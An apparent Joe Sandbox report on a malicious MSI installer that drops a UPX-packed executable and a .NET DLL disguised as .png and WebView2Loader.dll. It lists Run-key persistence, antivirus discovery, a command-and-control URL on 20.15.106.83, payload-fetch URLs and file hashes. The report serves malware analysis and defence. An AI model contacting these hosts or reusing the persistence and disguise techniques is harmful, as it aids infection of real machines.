Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Queries volume information: C:\Users\Public\PeFI\vJrY\WebView2Loader.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe

Code function: 12_2_00425626 GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,

12_2_00425626

Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	3 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	12 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	21 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Software Packing	NTDS	45 System Information Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	51 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	41 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	31 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Modify Registry	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	41 Virtualization/Sandbox Evasion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	12 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
9rybs.msi	8%	ReversingLabs

Dropped Files

Source	Detection	Scanner
C:\Users\Public\PeFI\vJrY\PeFI.png	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\shi64B2.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\shi6530.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI6185.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI62DE.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI635C.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI6467.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI6487.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI6F17.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI6F47.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI7003.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI7033.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI9F25.tmp	0%	ReversingLabs

Source	Detection	Scanner	Label
https://www.thawte.com/cps0/	0%	URL Reputation	safe
https://www.thawte.com/repository0W	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://collect.installeranalytics.com/	0%	Avira URL Cloud	safe
http://html4/loose.dtd	0%	Avira URL Cloud	safe
http://20.15.106.83/SCP/index.php?VS=VS3&PL=NAO	0%	Avira URL Cloud	safe
https://yznv.prefintions.pro/derrama.png	0%	Avira URL Cloud	safe
http://stackoverflow.com/q/11564914;	0%	Avira URL Cloud	safe
https://www.foxit.com/pt-br/pdf-editor/adobe-acrobat-alternative.html	0%	Avira URL Cloud	safe
https://acons2020temix54.lisf	0%	Avira URL Cloud	safe
http://20.15.106.83	0%	Avira URL Cloud	safe
https://www.advancedinstaller.com	0%	Avira URL Cloud	safe
http://20.15.106.83/SCP/index.php	0%	Avira URL Cloud	safe
http://.css	0%	Avira URL Cloud	safe
http://www.mcafee.com	0%	Avira URL Cloud	safe
https://yznv.prefintions.pro/carol1.png	0%	Avira URL Cloud	safe
http://.jpg	0%	Avira URL Cloud	safe
http://collect.installeranalytics.com	0%	Avira URL Cloud	safe
http://stackoverflow.com/q/2152978/23354	0%	Avira URL Cloud	safe
http://stackoverflow.com/q/14436606/WAsReference	0%	Avira URL Cloud	safe
https://acons2020temix54.lisf/	0%	Avira URL Cloud	safe
https://collect.installeranalytics.comhttp://collect.installeranalytics.comhttps://installeranalytic	0%	Avira URL Cloud	safe
https://collect.installeranalytics.com	0%	Avira URL Cloud	safe
http://stackoverflow.com/q/14436606/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
collect.installeranalytics.com	52.54.161.79	true	false	unknown
yznv.prefintions.pro	188.114.97.3	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown
acons2020temix54.lisf	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://yznv.prefintions.pro/derrama.png	false	Avira URL Cloud: safe	unknown
http://collect.installeranalytics.com/	false	Avira URL Cloud: safe	unknown
http://20.15.106.83/SCP/index.php?VS=VS3&PL=NAO	true	Avira URL Cloud: safe	unknown
https://yznv.prefintions.pro/carol1.png	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://html4/loose.dtd	shi64B2.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://20.15.106.83/SCP/index.php	PeFIvJrY.exe, 0000000C.00000002.3847929255.0000000003241000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.thawte.com/cps0/	9rybs.msi, MSI6487.tmp.2.dr, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, MSI6467.tmp.2.dr, 495fa1.msi.2.dr, MSI635C.tmp.2.dr, MSI6F47.tmp.2.dr, MSI7003.tmp.2.dr, MSI62DE.tmp.2.dr	false	URL Reputation: safe	unknown
https://www.thawte.com/repository0W	9rybs.msi, MSI6487.tmp.2.dr, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, MSI6467.tmp.2.dr, 495fa1.msi.2.dr, MSI635C.tmp.2.dr, MSI6F47.tmp.2.dr, MSI7003.tmp.2.dr, MSI62DE.tmp.2.dr	false	URL Reputation: safe	unknown
https://acons2020temix54.lisf	PeFIvJrY.exe, 0000000C.00000002.3847929255.000000000331A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://20.15.106.83	PeFIvJrY.exe, 0000000C.00000002.3847929255.00000000032FE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://stackoverflow.com/q/11564914;	PeFIvJrY.exe, 0000000C.00000002.3849220507.00000000054E4000.00000002.00000001.01000000.00000005.sdmp, PeFIvJrY.exe, 0000000D.00000002.1729149617.000000006D564000.00000002.00000001.01000000.00000005.sdmp, PeFI.png.3.dr	false	Avira URL Cloud: safe	unknown
https://www.advancedinstaller.com	9rybs.msi, MSI6487.tmp.2.dr, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, MSI6467.tmp.2.dr, 495fa1.msi.2.dr, MSI635C.tmp.2.dr, MSI6F47.tmp.2.dr, MSI7003.tmp.2.dr, MSI62DE.tmp.2.dr	false	Avira URL Cloud: safe	unknown
https://www.foxit.com/pt-br/pdf-editor/adobe-acrobat-alternative.html	9rybs.msi, 495fa1.msi.2.dr	false	Avira URL Cloud: safe	unknown
http://www.mcafee.com	vJrY.png.3.dr	false	Avira URL Cloud: safe	unknown
http://collect.installeranalytics.com	9rybs.msi, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, 495fa1.msi.2.dr, MSI6F47.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://.css	shi64B2.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	PeFIvJrY.exe, 0000000C.00000002.3847929255.0000000003241000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://.jpg	shi64B2.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://stackoverflow.com/q/14436606/WAsReference	PeFIvJrY.exe, 0000000C.00000002.3849220507.00000000054E4000.00000002.00000001.01000000.00000005.sdmp, PeFIvJrY.exe, 0000000D.00000002.1729149617.000000006D564000.00000002.00000001.01000000.00000005.sdmp, PeFI.png.3.dr	false	Avira URL Cloud: safe	unknown
http://stackoverflow.com/q/2152978/23354	PeFIvJrY.exe, 0000000C.00000002.3849220507.00000000054E4000.00000002.00000001.01000000.00000005.sdmp, PeFIvJrY.exe, 0000000D.00000002.1729149617.000000006D564000.00000002.00000001.01000000.00000005.sdmp, PeFI.png.3.dr	false	Avira URL Cloud: safe	unknown
https://acons2020temix54.lisf/	PeFIvJrY.exe, 0000000C.00000002.3847929255.000000000331A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://collect.installeranalytics.com	9rybs.msi, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, 495fa1.msi.2.dr, MSI6F47.tmp.2.dr	false	Avira URL Cloud: safe	unknown
https://collect.installeranalytics.comhttp://collect.installeranalytics.comhttps://installeranalytic	9rybs.msi, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, 495fa1.msi.2.dr, MSI6F47.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://stackoverflow.com/q/14436606/	PeFIvJrY.exe, 0000000C.00000002.3847929255.0000000003336000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
188.114.97.3	yznv.prefintions.pro	European Union	13335	CLOUDFLARENETUS	false
52.54.161.79	collect.installeranalytics.com	United States	14618	AMAZON-AESUS	false
20.15.106.83	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1486731
Start date and time:	2024-08-02 14:15:45 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	9rybs.msi
Detection:	MAL
Classification:	mal64.rans.evad.winMSI@15/33@3/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 90% Number of executed functions: 59 Number of non-executed functions: 177
Cookbook Comments:	Found application associated with file extension: .msi Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.85.23.86, 13.85.23.206, 20.3.187.198, 20.12.23.50
Excluded domains from analysis (whitelisted): fe3.delivery.mp.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, glb.sls.prod.dcat.dsp.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target PeFIvJrY.exe, PID 7896 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 9rybs.msi

Simulations

Behavior and APIs

Time	Type	Description
08:16:43	API Interceptor	3x Sleep call for process: msiexec.exe modified
08:17:15	API Interceptor	6006825x Sleep call for process: PeFIvJrY.exe modified
13:16:57	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run PeFIvJrY C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe
13:17:05	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run PeFIvJrY C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	QUOTATION_JULQTRA071244#U00faPDF.scr	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/eivFTmO7/download
	QUOTATION_JULQTRA071244#U00faPDF.scr	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/eivFTmO7/download
	QUOTATION_JULQTRA071244#U00faPDF.scr	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/eivFTmO7/download
	bSecDbrnMO4yqnP.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.uptocryptonews.com/ps15/?Bh=21AMTVr7VpXBosKFppEf26A/DeLfMm5QpmuaUPr99aq4XrKOrkrAajUh1DEbTobQjDw5&DxoLiH=dbYdUphHwt44W
	2024MSASI056553A.exe	Get hash	malicious	FormBook	Browse	www.globaltrend.xyz/srh8/
	PO-00349.xls	Get hash	malicious	Remcos	Browse	fd.ax/2Jv
	swift copy.exe	Get hash	malicious	FormBook	Browse	www.alphacentura.com/mnr7/
	RkvSAimoIv.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	266468cm.nyashka.top/imagePhpPacketGameBigloadprotecttrafficDatalifeDleLocal.php
	PO-00349.xls	Get hash	malicious	Remcos	Browse	ft.ax/
	PO-00349.xls	Get hash	malicious	Remcos	Browse	ft.ax/k7B

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
collect.installeranalytics.com	LisectAVT_2403002A_47.exe	Get hash	malicious	WinLocker	Browse	54.158.164.30
	WPS#U529e#U516c#U8f6f#U4ef6 v76.23.66.msi	Get hash	malicious	FatalRAT, GhostRat, Nitol	Browse	54.224.49.0
	0cjB1Kh8zU.msi	Get hash	malicious	Unknown	Browse	54.165.254.88
	2ztvLMT477.msi	Get hash	malicious	Unknown	Browse	54.227.134.57
	ahx8PyqunR.msi	Get hash	malicious	Unknown	Browse	54.221.197.204
	speke.msi	Get hash	malicious	Unknown	Browse	54.165.34.233
	d47b38d68c7ef6c19add401c1c6defb99aef1fac8fd28.exe	Get hash	malicious	Unknown	Browse	54.158.107.210
	d47b38d68c7ef6c19add401c1c6defb99aef1fac8fd28.exe	Get hash	malicious	Unknown	Browse	54.158.107.210
	69e6517b2ee056dd1f5f70c46faf6235b84db97a74a65.exe	Get hash	malicious	Unknown	Browse	52.7.13.177
	w1J9KDIC0m.exe	Get hash	malicious	Unknown	Browse	52.7.13.177
fp2e7a.wpc.phicdn.net	https://pakbutton.com.pk/mailbox/upgrade/25GB/client	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://kplparis.freshdesk.com/en/support/solutions/articles/154000170570-facture-n-%C2%BA-fc-2024-013	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://pakbutton.com.pk	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://pub-fc3b3bfaa8f54a1b8d8485fe0bfe792b.r2.dev/HK.html#christa.claes@daiichi-sankyo.de	Get hash	malicious	HTMLPhisher	Browse	192.229.221.95
	https://www.bing.com/ck/a?!&&p=7522cfa299d94e97JmltdHM9MTcyMjQ3MDQwMCZpZ3VpZD0wZjk2ODVjNi05NDg0LTY3YzQtMGM5MS05MTBlOTU3NjY2YzkmaW5zaWQ9NTEzMA&ptn=3&ver=2&hsh=3&fclid=0f9685c6-9484-67c4-0c91-910e957666c9&u=a1aHR0cHM6Ly93d3cuaG4taG5wcmludGVyLmNvbS9pbnRlcm5hdGlvbmFsLWNsaWVudHMv&	Get hash	malicious	HTMLPhisher	Browse	192.229.221.95
	https://markeertrafficservicebv6t3etwyghdsbn.dorik.io/	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://workdrive.zohopublic.eu/file/1n0t05e999a7f921c44b69aef1f2423b63f55	Get hash	malicious	Unknown	Browse	192.229.221.95
	http://82.192.82.226	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://hij.koc.mybluehost.me/Z/	Get hash	malicious	Unknown	Browse	192.229.221.95
	http://www.foodmate.net	Get hash	malicious	Unknown	Browse	192.229.221.95

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	ATPrSVPS6D.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	HQE5DRlPBT.exe	Get hash	malicious	FormBook	Browse	172.67.148.153
	PLC7VOI78L.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	e8VyDhZmDR.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.96.3
	The Situ Group Ltd.pdf	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	3gleLIabQq.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.96.3
	6ddrUd6iQo.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	https://kplparis.freshdesk.com/en/support/solutions/articles/154000170570-facture-n-%C2%BA-fc-2024-013	Get hash	malicious	Unknown	Browse	172.66.0.145
	SNu4RXZpoS.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	n2SgyJt0GY.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
AMAZON-AESUS	XCXxJoAEaF.elf	Get hash	malicious	Mirai, Moobot	Browse	54.140.120.60
	js8call-2.2.0-win32.exe	Get hash	malicious	Unknown	Browse	52.44.76.40
	rf4LFk7Nvv.elf	Get hash	malicious	Mirai	Browse	34.197.64.214
	https://kplparis.freshdesk.com/en/support/solutions/articles/154000170570-facture-n-%C2%BA-fc-2024-013	Get hash	malicious	Unknown	Browse	3.212.100.132
	E66M3O2493.elf	Get hash	malicious	Unknown	Browse	34.224.62.170
	3AV1PyEQ16.elf	Get hash	malicious	Unknown	Browse	54.19.4.177
	https://www.globalepic.co.kr/view.php?ud=202408011057515744edd3030223_29	Get hash	malicious	Unknown	Browse	52.73.59.20
	http://telstra-103141.weeblysite.com/	Get hash	malicious	Unknown	Browse	3.228.185.195
	http://telstra-107250.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	3.228.185.195
	http://telstra-108674.weeblysite.com/	Get hash	malicious	Unknown	Browse	54.235.101.7
MICROSOFT-CORP-MSN-AS-BLOCKUS	mQeV8nCFUa.elf	Get hash	malicious	Mirai	Browse	104.41.106.230
	ZxHHuJB911.elf	Get hash	malicious	Mirai	Browse	159.27.104.104
	XAjV9ghiIb.elf	Get hash	malicious	Mirai, Moobot	Browse	51.122.227.27
	rf4LFk7Nvv.elf	Get hash	malicious	Mirai	Browse	13.105.137.162
	JSd25Gusnc.elf	Get hash	malicious	Mirai	Browse	20.21.196.35
	ZeHA1CMTQq.elf	Get hash	malicious	Mirai	Browse	40.108.185.46
	E66M3O2493.elf	Get hash	malicious	Unknown	Browse	13.100.15.114
	3AV1PyEQ16.elf	Get hash	malicious	Unknown	Browse	52.177.85.34
	0lMevtsZn2.elf	Get hash	malicious	Mirai	Browse	102.133.226.218
	XtkUbewN09.elf	Get hash	malicious	Mirai, Moobot	Browse	20.71.71.245

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	ATPrSVPS6D.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	f1d9f80142a942bbd5af2ec4f6cc96a0	Get hash	malicious	Unknown	Browse	188.114.97.3
	360a2293292ccc65368cab8ceee90670	Get hash	malicious	Unknown	Browse	188.114.97.3
	dxkqdn.msi	Get hash	malicious	Unknown	Browse	188.114.97.3
	ver.dat.msi	Get hash	malicious	Unknown	Browse	188.114.97.3
	uzlts.msi	Get hash	malicious	Unknown	Browse	188.114.97.3
	SecuriteInfo.com.FileRepMalware.20211.23157.exe	Get hash	malicious	DBatLoader	Browse	188.114.97.3
	SecuriteInfo.com.FileRepMalware.20211.23157.exe	Get hash	malicious	DBatLoader	Browse	188.114.97.3
	setup8803165981.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	Uduknnywyznljn.exe	Get hash	malicious	Remcos, DBatLoader	Browse	188.114.97.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\shi64B2.tmp	LisectAVT_2403002B_409.exe	Get hash	malicious	Bdaejec	Browse
	AnyDesk.msi	Get hash	malicious	Unknown	Browse
	LisectAVT_2403002B_493.exe	Get hash	malicious	Unknown	Browse
	LisectAVT_2403002B_493.exe	Get hash	malicious	Unknown	Browse
	WPS#U529e#U516c#U8f6f#U4ef6 v76.23.66.msi	Get hash	malicious	FatalRAT, GhostRat, Nitol	Browse
	0cjB1Kh8zU.msi	Get hash	malicious	Unknown	Browse
	2ztvLMT477.msi	Get hash	malicious	Unknown	Browse
	ahx8PyqunR.msi	Get hash	malicious	Unknown	Browse
	speke.msi	Get hash	malicious	Unknown	Browse
	d47b38d68c7ef6c19add401c1c6defb99aef1fac8fd28.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\Public\PeFI\vJrY.png

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	358000
Entropy (8bit):	7.242791638339027
Encrypted:	false
SSDEEP:	6144:zw4WNZknl8n6n33FxsZK2dx8ltV0Funq3QgiR3xtQAmUPP+UX32U+rv4T+rvS:zw9mSny3rGKV/0gnG8R3xtj1PP+C32U/
MD5:	65CD1FFDB524F091FC06884DCB1270F9
SHA1:	5AC35832CC0DCE15799565D605B12FD15ADB4DC7
SHA-256:	32573224BE0A365DD4A94E5D7812D9CC98B4ACB60A3E85B2B8EA97EB2377E81D
SHA-512:	BA9B6EFD5B8815628AAD54FCB7FB4AFB4C041D7B7140754259D7355728E388A371F81DD58F1D9CE3483D0D70F05EBC771EB6F3022EF17A0DB2A76273FB2F69D9
Malicious:	true
Reputation:	low
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.........g....}...}...}-..\|...}-..\|[..}...\|...}...\|...}...\|...}E..\|...}-..\|...}-..\|...}-..\|...}...}...}...}{..}E..\|...}E..}...}...}...}E..\|...}Rich...}................PE..L...Y..e.................P..........p.............@.......................................@................................................................... ..................................................................................UPX0....................................UPX1.....P.......N..................@....rsrc................R..............@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!....

C:\Users\Public\PeFI\vJrY\PeFI.png

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	702976
Entropy (8bit):	4.9566523846266755
Encrypted:	false
SSDEEP:	6144:n3cKjnv2eBLM6XxJ7UBebH6dEM4JjQvpi1p+e+WRc3RPMTNm:NwetyebH6dK3p+bsNm
MD5:	27563EEA952684C3E2F5A35A81E021DF
SHA1:	BC46C79DACE897088F989D3A34757D7592110B7D
SHA-256:	EADCC6AD7B87CD61D5899A45D08A9D9897AFA62810048E1F1D448C696543EF46
SHA-512:	9DB1BA740B7B1BD386751BD7EA1CF8BDF30D3A139F0AF81B2D652DBEA9153CE8038EAAE084DDF4F3136560BD00B68A8040C84DE1115658CF5B2E1C31CF99718A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...7).f...........!..................... ........... ....................... ............@.........................L...(.......O.... ..`....................@..0.................................................... ............... ..H............text........ ...................... ..`.sdata..............................@....rsrc...`.... ......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe (copy)

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	358000
Entropy (8bit):	7.242791638339027
Encrypted:	false
SSDEEP:	6144:zw4WNZknl8n6n33FxsZK2dx8ltV0Funq3QgiR3xtQAmUPP+UX32U+rv4T+rvS:zw9mSny3rGKV/0gnG8R3xtj1PP+C32U/
MD5:	65CD1FFDB524F091FC06884DCB1270F9
SHA1:	5AC35832CC0DCE15799565D605B12FD15ADB4DC7
SHA-256:	32573224BE0A365DD4A94E5D7812D9CC98B4ACB60A3E85B2B8EA97EB2377E81D
SHA-512:	BA9B6EFD5B8815628AAD54FCB7FB4AFB4C041D7B7140754259D7355728E388A371F81DD58F1D9CE3483D0D70F05EBC771EB6F3022EF17A0DB2A76273FB2F69D9
Malicious:	true
Reputation:	low
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.........g....}...}...}-..\|...}-..\|[..}...\|...}...\|...}...\|...}E..\|...}-..\|...}-..\|...}-..\|...}...}...}...}{..}E..\|...}E..}...}...}...}E..\|...}Rich...}................PE..L...Y..e.................P..........p.............@.......................................@................................................................... ..................................................................................UPX0....................................UPX1.....P.......N..................@....rsrc................R..............@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!....

C:\Users\Public\PeFI\vJrY\WebView2Loader.dll (copy)

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	702976
Entropy (8bit):	4.9566523846266755
Encrypted:	false
SSDEEP:	6144:n3cKjnv2eBLM6XxJ7UBebH6dEM4JjQvpi1p+e+WRc3RPMTNm:NwetyebH6dK3p+bsNm
MD5:	27563EEA952684C3E2F5A35A81E021DF
SHA1:	BC46C79DACE897088F989D3A34757D7592110B7D
SHA-256:	EADCC6AD7B87CD61D5899A45D08A9D9897AFA62810048E1F1D448C696543EF46
